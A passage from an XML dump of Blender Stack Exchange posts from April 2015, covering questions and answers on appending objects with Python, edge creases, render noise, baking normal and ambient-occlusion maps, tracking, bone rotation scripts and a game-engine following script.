here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Select outer circles, hit &lt;kbd&gt;X&lt;/kbd&gt; and select &lt;code&gt;Faces&lt;/code&gt;. This will delete additional geometry created by &lt;code&gt;Bridge Edge Loops&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gtCaT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="5113" LastEditDate="2015-04-05T23:38:30.190" LastActivityDate="2015-04-05T23:38:30.190" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28135" PostTypeId="1" AcceptedAnswerId="28136" CreationDate="2015-04-05T23:49:10.267" Score="2" ViewCount="300" Body="&lt;p&gt;&lt;strong&gt;What:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to append an object in a .blend file using. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TheObject=&quot;SINGLEBATTWIRE&quot;&#xA;Thepath=&quot;B:/........../SINGLEBATTWIRE.blend/Object/SINGLEBATTWIRE&quot;&#xA;Thedirectory=&quot;B:/........../SINGLEBATTWIRE.blend/Object/&quot;&#xA;&#xA;bpy.ops.wm.link_append(link=False, filepath=Thepath, &#xA;directory=Thedirectory, filename=TheObject)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The import works fine, but it is linked and can’t be moved.&#xA;This is the result I get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BaqLF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Current Resolutions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I click the button beside the objects name it fixes the problem, but I need to append many objects and this would take forever.&#xA;If I go to File-Append and find the object, it works great and I have this result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oJOtQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13635" LastActivityDate="2015-04-06T00:31:39.733" Title="Appending an Object Without A Link" Tags="&lt;python&gt;&lt;scripting&gt;&lt;import&gt;&lt;append&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28136" PostTypeId="2" ParentId="28135" CreationDate="2015-04-06T00:31:39.733" Score="2" Body="&lt;p&gt;The &lt;code&gt;bpy.ops.wm.link_append()&lt;/code&gt; function has been replaced by the two &lt;code&gt;link()&lt;/code&gt; and &lt;code&gt;append()&lt;/code&gt; functions and they can be used the same way :&#xA;Example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;directory = &quot;C:/folder/myfile.blend/Object/&quot;&#xA;objname ='Cube'&#xA;&#xA;bpy.ops.wm.append(directory=directory, filename=objname, link=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-06T00:31:39.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28137" PostTypeId="1" AcceptedAnswerId="28139" CreationDate="2015-04-06T00:31:45.183" Score="5" ViewCount="641" Body="&lt;p&gt;I would like a sharp turn, not the smoothed round turn that the sub surf modifier causes. Is this possible? Notice the purple line for the mean crease, I would like it to look like that&#xA;&lt;img src=&quot;https://i.stack.imgur.com/779GE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3109" LastActivityDate="2015-04-06T00:46:29.760" Title="how to keep sharp turns on model while sub surf modifier is active? (image inside)" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-04-06T16:41:43.210" ContentLicense="CC BY-SA 3.0" />
  <row Id="28138" PostTypeId="2" ParentId="28132" CreationDate="2015-04-06T00:43:52.147" Score="4" Body="&lt;p&gt;To avoid texture scaling on the mesh it is necessary to apply object scale before unwrapping. To apply the scale you need to be in object mode, then hit &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; and select scale from the menu. Once scale is applied it is safe to unwrap the mesh without having scale distortion.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-04-06T00:43:52.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28139" PostTypeId="2" ParentId="28137" CreationDate="2015-04-06T00:46:29.760" Score="5" Body="&lt;p&gt;Depending on what your mesh is like, there are several ways to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3D Objects:&lt;/strong&gt;&#xA;You can accomplish this with the shortcut &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; while in edit mode. Select the edge you would like to crease (the &quot;seam&quot;) first, and then press &lt;kbd&gt;1&lt;/kbd&gt; or move the cursor until the crease is maxed out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nccd5.gif&quot; alt=&quot;Edge Crease Method 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2D Objects:&lt;/strong&gt;&#xA;For two-dimensional objects (planes) you can use Loopcuts to simulate this effect. One of the main drawbacks to this method is your vertex count will be increased. Sadly the Edge Crease option does not work on 2D objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode, hover over the adjacent edges and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;, then click once and drag towards the seam. Now click again to finish the operation. Repeat for the other side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8XQx2.gif&quot; alt=&quot;Edge Crease Method 2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-04-06T00:46:29.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28140" PostTypeId="1" CreationDate="2015-04-06T00:58:49.277" Score="2" ViewCount="102" Body="&lt;p&gt;I have watched a lot of tutorials about how to reduce noise and rendering time and each one suggest some tips. In this scene &lt;a href=&quot;http://www.pasteall.org/blend/35436&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/35436&lt;/a&gt;, I remark that there are some noise points on the floor despite of it is flat surface and not very textured. In addition the hair of the person is very blurred. First, I fixed the samples as 100 and I have the image below. Second, I fix the samples as 200 but I still had noise in the floor. I try to modify other parameters (I have used &lt;strong&gt;&lt;em&gt;limited global illumination&lt;/em&gt;&lt;/strong&gt; as light paths and in the world scene and lamp i check the &lt;strong&gt;&lt;em&gt;Multiple importance option&lt;/em&gt;&lt;/strong&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion will be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IVM2P.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastActivityDate="2015-04-06T00:58:49.277" Title="Reduce Noise on cycles engine and CPU" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;texturing&gt;&lt;light&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-04-11T16:35:27.127" ContentLicense="CC BY-SA 3.0" />
  <row Id="28141" PostTypeId="1" AcceptedAnswerId="119061" CreationDate="2015-04-06T01:13:42.960" Score="2" ViewCount="1775" Body="&lt;p&gt;I want to generate several bones on vertices with python. I have figured out how to make an Armature Object, and how to make edit bones within it. Now I need to get these bones onto their appropriate vertices. Can I create them on certain points in the first place? Or can I somehow move them there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I use head, head_local, translate, matrices, or something else?&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2018-09-23T22:42:18.370" Title="Create bones on vertices in Python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28142" PostTypeId="1" CreationDate="2015-04-06T02:39:21.483" Score="1" ViewCount="938" Body="&lt;p&gt;I am having overheating issues with my MacBook Pro retina&#xA;I have this configuration&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MacBook Pro Retina 15&quot;&lt;br&gt;&#xA;Processor 2.4 GHz Intel Core i7&lt;br&gt;&#xA;Memory 8 GB 1600 MHz DDR3&lt;br&gt;&#xA;Graphics NVIDIA GeForce GT 650M 1024 MB&lt;br&gt;&#xA;Software  OS X 10.9.5 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender is an amazing tool, but working with cycles my computer&#xA;gets too hot. I have tried using last CUDA version but the problem still happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice?&lt;/p&gt;&#xA;" OwnerUserId="13636" LastEditorDisplayName="user1853" LastEditDate="2015-04-06T05:05:03.313" LastActivityDate="2015-04-06T05:05:03.313" Title="My laptop gets too hot when rendering in cycles" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-04-06T08:08:20.040" ContentLicense="CC BY-SA 3.0" />
  <row Id="28143" PostTypeId="2" ParentId="27950" CreationDate="2015-04-06T03:29:26.860" Score="3" Body="&lt;p&gt;Ok, I figured out that after I pose the object, I then need to convert it back into a mesh. Then it will export as an stl file. I selected the object in 'object mode', in the object menu selected 'Convert to -&gt; Mesh from surface....'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I tried 'apply modifiers' but it didn't seem to work for me)&lt;/p&gt;&#xA;" OwnerUserId="13541" LastEditorUserId="13541" LastEditDate="2015-04-06T03:55:08.037" LastActivityDate="2015-04-06T03:55:08.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28144" PostTypeId="2" ParentId="27711" CreationDate="2015-04-06T03:44:25.217" Score="1" Body="&lt;p&gt;You could also use a mask set as a modifier on a color effect strip. That would eliminate the image creation step and add flexibility to your shape and it's color.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-04-06T03:44:25.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28146" PostTypeId="2" ParentId="28142" CreationDate="2015-04-06T04:13:30.120" Score="6" Body="&lt;p&gt;I have the same laptop, and it does indeed get hot. But this isn't really an issue specific to Cycles or even this laptop, any CPU / GPU heavy computation that has good multithreading will do it, and laptops often just aren't made to run cool under such loads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest to use CPU rendering with a lower number of threads like 2 or 3 instead of using an automatic number of threads. This mobile GPU isn't faster than the CPU in most scenes anyway. Cycles doesn't have an explicit way to specify using fewer GPU cores, though you could try decreasing the tile size to make it render slower and hopefully get it to run cooler as well then.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2015-04-06T04:13:30.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28148" PostTypeId="2" ParentId="28065" CreationDate="2015-04-06T05:57:21.997" Score="4" Body="&lt;p&gt;You can create a text object and a plane that is translucent/transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3DCTX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a copy rotation constraint using the camera as target (so that both objects are parallel to the camera).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VBDhi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Material for the plane:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iofvM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Material for the text:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KIWl1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a lot of titles you might need to create the titles as a separate scene and render each one as a PNG file to composite later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5AKzT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-04-06T14:27:09.560" LastActivityDate="2015-04-06T14:27:09.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28149" PostTypeId="1" CreationDate="2015-04-06T06:01:22.437" Score="1" ViewCount="550" Body="&lt;p&gt;I imported a .mhx file. After that, I export it to .bvh without changing it. I remark that when I import the .bvh file, I did not get the same .mhx file? I found a closer question to this problem &lt;a href=&quot;https://blender.stackexchange.com/questions/24773/import-a-bvh-file-and-export-it-to-be-the-same&quot;&gt;question&lt;/a&gt; but i did not understand how can resolve this problem. Are there any configuration before exporting to .bvh or before importing it? Any suggestion?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2NcO5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-07-26T23:01:44.077" Title="Import a .mhx file and export it to .bvh problem" Tags="&lt;animation&gt;&lt;makehuman&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28150" PostTypeId="2" ParentId="27964" CreationDate="2015-04-06T06:28:43.840" Score="3" Body="&lt;p&gt;Wear and tear detail on the surfaces of the models can be painted in using bump maps that are either imported or created using Blender's Texture Paint tools. Procedural textures also work well for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with a grayscale image(set to non-color) and connect this to Displacement socket of the Cycles Material output node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hiM6U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bump map node does not currently work for baking normal maps in Cycles.  Only use the displacement socket for now when baking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rVVGy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, bake the texture so it can be used in the game engine this is supposed to be for(I'm making an assumption that this is what you are doing ;) Be sure to select the texture node that is being baked to so that the baker tool accesses the proper texture.  It should be active in the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zb5uY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now test the results by plugging the normal map into the shaders' normal socket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pycas.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can bake normal maps using either Blender Render(Internal) or Cycles.  For many situations the results should be identical.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Cycles, there is the additional option of using a custom defined cage when working with difficult geometry.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-04-06T07:24:03.920" LastActivityDate="2015-04-06T07:24:03.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28151" PostTypeId="2" ParentId="27964" CreationDate="2015-04-06T06:59:46.120" Score="2" Body="&lt;p&gt;Another common way to capture/add detail is to bake Ambient Occlusion(AO).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;AO can be used to simulate the subtle indirect shadows that show up in recessed areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AO can also be used to as a mix factor for two different colors(or textures).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following example a photo of moss is being mixed with light gray using the baked Ambient Occlusion map.  The moss shows up where the AO map is darker.  A normal map is also being used here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jHacG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can bake a simple AO map using Cycles with the following settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it's just a Diffuse shader that has it's color set to pure white.  (1.0, 1.0, 1.0);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sky is a simple colored background that is also set to (1.0, 1.0, 1.0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Direct lighting should be used.  Global illumination will fade the effect and one or two bounces can be used to soften the result if it's too dark in some areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's baked using the Combined pass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XDokG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-04-06T07:28:12.913" LastActivityDate="2015-04-06T07:28:12.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28152" PostTypeId="2" ParentId="27964" CreationDate="2015-04-06T07:23:08.290" Score="2" Body="&lt;p&gt;One of the three common ways that people add extra detail to a scene is to use a black and white image to mix between two shaders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following image shows a baked Ambient Occlusion image that is used to mix between a Glossy shader and a Diffuse shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several methods people use to generate these maps.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(i) Texture paint, change the color for edges and scratches and you can make these areas more Diffuse just as they would be for a real worn object.  A scratched surface tends to be less shiny.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(ii) Use Ambient Occulsion as shown in one of the other answers.  Recessed areas tend to accumulate gunk and goo and are more difficult to clean so we might expect these areas to be less shiny.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(iii) You can bake the results of the 'Vertex Paint Mode-&gt;Paint-&gt;Dirty Vertex Colors tool'&#xA;    (iiib)  Recently, a new attribute type has been added to Cycles nodes and is called the Node:Input-&gt;Geometry-&gt;Pointiness attribute.  It can be used for both baking and camera renders to accentuate the curvature of the model.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sharp areas on the model will stand out from the flatter regions and this can be used as a blending factor.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Vertex Dirty Vertex Colors tool can be used mostly the same way but the Pointiness attribute is more simple to use and is non-destructive to the model.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fSGTV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-04-06T08:49:00.387" LastActivityDate="2015-04-06T08:49:00.387" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28154" PostTypeId="1" CreationDate="2015-04-06T11:19:51.173" Score="2" ViewCount="650" Body="&lt;p&gt;I wanted to track some text to a short film. Everything was good I added two tracking points, but then I wanted to change to Reconstruction Mode, but it wasn't there. There only was &lt;em&gt;Tracking&lt;/em&gt; and &lt;em&gt;Mask&lt;/em&gt; mode.&lt;/p&gt;&#xA;" OwnerUserId="13641" LastEditorUserId="2217" LastEditDate="2015-04-06T13:53:39.743" LastActivityDate="2015-04-06T13:53:39.743" Title="Reconstruction Mode doesn't show up in movie clip editor" Tags="&lt;tracking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28156" PostTypeId="1" AcceptedAnswerId="28161" CreationDate="2015-04-06T12:56:31.157" Score="0" ViewCount="4261" Body="&lt;p&gt;I have found this link to a blender ui proposal:&lt;a href=&quot;http://m.youtube.com/watch?v=UWacQrEcMHk&quot; rel=&quot;nofollow&quot;&gt;http://m.youtube.com/watch?v=UWacQrEcMHk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link is from 2013, and it seems very convincing. I don't what happened to it, and now in 2015, I can't find any links yo what happened next.&#xA;What happened to this proposal? Are there plans to apply such UI? &lt;/p&gt;&#xA;" OwnerUserId="11541" LastActivityDate="2015-04-06T15:00:09.017" Title="What happened to the blender UI" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="7" ClosedDate="2015-04-06T16:40:15.387" ContentLicense="CC BY-SA 3.0" />
  <row Id="28157" PostTypeId="2" ParentId="28154" CreationDate="2015-04-06T13:43:20.640" Score="2" Body="&lt;p&gt;The workflow for tracking has changed in recent versions. The &lt;strong&gt;Reconstruction&lt;/strong&gt; options you are looking for are now on the &lt;strong&gt;Solve&lt;/strong&gt; tab on the toolbar. Enable it by pressing &lt;strong&gt;&lt;kbd&gt;T&lt;/kbd&gt;&lt;/strong&gt; Or you can access them through the reconstruction menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hNot7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-04-06T13:43:20.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28158" PostTypeId="2" ParentId="12218" CreationDate="2015-04-06T14:04:55.790" Score="10" Body="&lt;p&gt;An alternative method is to use the sunbeams filter in the compositor. This will work in cycles as well as internal. Find it under &quot;Filter&quot; in the &quot;Add&quot; menu in the compositor. Here's a very low sampled render but you get the idea. The only light source is a sun lamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZGZkn.png&quot; alt=&quot;sunbeams_filter&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2015-04-06T14:04:55.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28159" PostTypeId="1" AcceptedAnswerId="28166" CreationDate="2015-04-06T14:16:53.483" Score="6" ViewCount="7900" Body="&lt;p&gt;I have a bone, which i need to rotate. It has to be done on a server all the time, which means, that it would be nice to avoid clicking on the bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that i need to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects['Armature'].pose.bones['Bone'].matrix_basic[0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;allthough i might be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the bone is rotated, I need to Keyframe the rotation, how would i go about this?&lt;/p&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2017-04-23T19:49:59.833" Title="How to rotate a bone using python" Tags="&lt;python&gt;&lt;animation&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28160" PostTypeId="2" ParentId="28096" CreationDate="2015-04-06T14:21:24.653" Score="2" Body="&lt;p&gt;To make every characters go to a certain target whenever you click the ground we create &lt;code&gt;flag&lt;/code&gt; object and set it as a target for the selected characters,&#xA;when all the characters reaches the flag, it gets deleted &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Details :&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;we have the function &lt;code&gt;main()&lt;/code&gt; which is excuted when you &lt;kbd&gt;MMB&lt;/kbd&gt;click on the ground this function :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;creates a new Flag object at cursor position&lt;/li&gt;&#xA;&lt;li&gt;loop through all objects and find the selected ones that have &lt;code&gt;Move&lt;/code&gt; property, &#xA;&lt;em&gt;for each found object :&lt;/em&gt; &lt;/li&gt;&#xA;&lt;li&gt;change the &lt;code&gt;Steering&lt;/code&gt; actuator &lt;code&gt;target&lt;/code&gt; to this new Flag&lt;/li&gt;&#xA;&lt;li&gt;increment the Flag &lt;code&gt;Followers&lt;/code&gt; property by one&lt;/li&gt;&#xA;&lt;li&gt;set the object properties &lt;code&gt;Active&lt;/code&gt; and &lt;code&gt;Move&lt;/code&gt; to &lt;code&gt;True&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;when Active and Move are set the object start seeking the flag&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;this is done with this part of code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main():&#xA;.......&#xA;    flag = scene.addObject(&quot;Flag&quot;, &quot;Tracker&quot;, 0)&#xA;            for obj in scene.objects :&#xA;                if obj.get('Select', False) and 'Move' in obj.getPropertyNames() :&#xA;                    obj.actuators[&quot;SeekTracker&quot;].target = flag&#xA;                    obj['Move'] = True&#xA;                    obj['Active'] = True&#xA;                    flag['Followers'] +=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&#xA;The Flag has property &lt;code&gt;Followers&lt;/code&gt; which indicate how many objects have it as a target, so if it has no followers it should be removed , for this we have a function &lt;code&gt;flag_self_check()&lt;/code&gt; which does that, the code part for this is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def flag_self_check():&#xA;&#xA;        cont = logic.getCurrentController()&#xA;        own = cont.owner&#xA;&#xA;        if own['Followers'] == 0 :&#xA;            own.endObject()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but what makes the &lt;code&gt;Followers&lt;/code&gt; count goes down ? it is the object, the moving object has a near sensor to detect the flag when the object gets near the flag it stops Moving and decrement the flag &lt;code&gt;Followers&lt;/code&gt; count by one&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def reach_dest():&#xA;&#xA;        cont = logic.getCurrentController()&#xA;        own = cont.owner&#xA;        sen = cont.sensors[&quot;Near&quot;]&#xA;&#xA;        if sen.positive :&#xA;            hit_flag = sen.hitObjectList[0] &#xA;            if hit_flag :&#xA;                if hit_flag == target :&#xA;                    hit_flag['Followers'] -= 1&#xA;                    own['Move'] = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;i have added &lt;code&gt;if hit_flag == target :&lt;/code&gt; so moving object don't stop at the wrong flag when passing by &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/160/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=160&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-04-06T18:22:38.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28161" PostTypeId="2" ParentId="28156" CreationDate="2015-04-06T15:00:09.017" Score="4" Body="&lt;p&gt;I think it's worth reproducing Ton's &lt;a href=&quot;http://code.blender.org/index.php/2013/10/redefining-blender/&quot; rel=&quot;nofollow noreferrer&quot;&gt;statement on this issue&lt;/a&gt; here:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A lot of (really great) UI design proposals that went on the past week give quite a false impression that it’s either feasible to just replace the UI, or that its possible to pay for it – even when it takes a dozen people a year to work on.&lt;/p&gt;&#xA;&lt;p&gt;The misconception here is that the “UI” is some kind of separated entity of a program, which can just be peeled off and replaced with another interface. However, a really good UI (and certainly Blender’s) is not just an abstract independent layer, it’s the reflection (and sometimes even the core) of the program’s design.&lt;/p&gt;&#xA;&lt;p&gt;You can easily state that a significant part of the Blender code (more than a quarter) is “the interface”. You cannot code any tool without understanding “the UI”. You cannot work on compositing or rendering without keeping track of it. A particle system is “UI”. How animation systems relate is “UI”. How files read and write is “UI”. The way how undo works is even “UI”.&lt;/p&gt;&#xA;&lt;p&gt;So – replacing a UI can be as impossible as trying to replace the script in a film. Let’s not go that way now. A full rewrite of Blender might happen once, but I think we have enough quality code design in Blender still – and a whole lot of open todo topics – to fill at least several years of coding time with.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-06T15:00:09.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
